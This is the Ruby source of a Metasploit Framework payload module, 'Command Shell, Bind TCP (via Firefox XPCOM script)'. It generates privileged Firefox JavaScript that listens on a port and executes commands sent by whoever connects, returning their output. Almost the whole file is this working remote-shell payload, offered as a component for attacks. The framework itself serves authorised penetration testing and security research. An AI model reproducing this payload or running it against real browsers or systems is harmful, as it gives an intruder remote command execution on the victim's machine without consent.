metasploit-framework/modules/payloads/singles/firefox/shell_bind_tcp.rb

78 lines
2.4 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/bind_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = :dynamic
include Msf::Payload::Single
include Msf::Payload::Firefox
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Command Shell, Bind TCP (via Firefox XPCOM script)',
'Description' => %q{Creates an interactive shell via Javascript with access to Firefox's XPCOM API},
'Author' => ['joev'],
'License' => BSD_LICENSE,
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX,
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShell,
'PayloadType' => 'firefox'
))
end
#
# Returns the JS string to use for execution
#
def generate
%Q|
(function(){
window = this;
Components.utils.import("resource://gre/modules/NetUtil.jsm");
var lport = #{datastore["LPORT"]};
var rhost = "#{datastore['RHOST']}";
var serverSocket = Components.classes["@mozilla.org/network/server-socket;1"]
.createInstance(Components.interfaces.nsIServerSocket);
serverSocket.init(lport, false, -1);
var listener = {
onSocketAccepted: function(serverSocket, clientSocket) {
var outStream = clientSocket.openOutputStream(0, 0, 0);
var inStream = clientSocket.openInputStream(0, 0, 0);
var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]
.createInstance(Components.interfaces.nsIInputStreamPump);
pump.init(inStream, -1, -1, 0, 0, true);
pump.asyncRead(clientListener(outStream), null);
}
};
#{read_until_token_source}
var clientListener = function(outStream) {
return {
onStartRequest: function(request, context) {},
onStopRequest: function(request, context) {},
onDataAvailable: readUntilToken(function(data) {
runCmd(data, function(err, output) {
if(!err) outStream.write(output, output.length);
});
})
};
};
#{run_cmd_source}
serverSocket.asyncListen(listener);
})();
|
end
end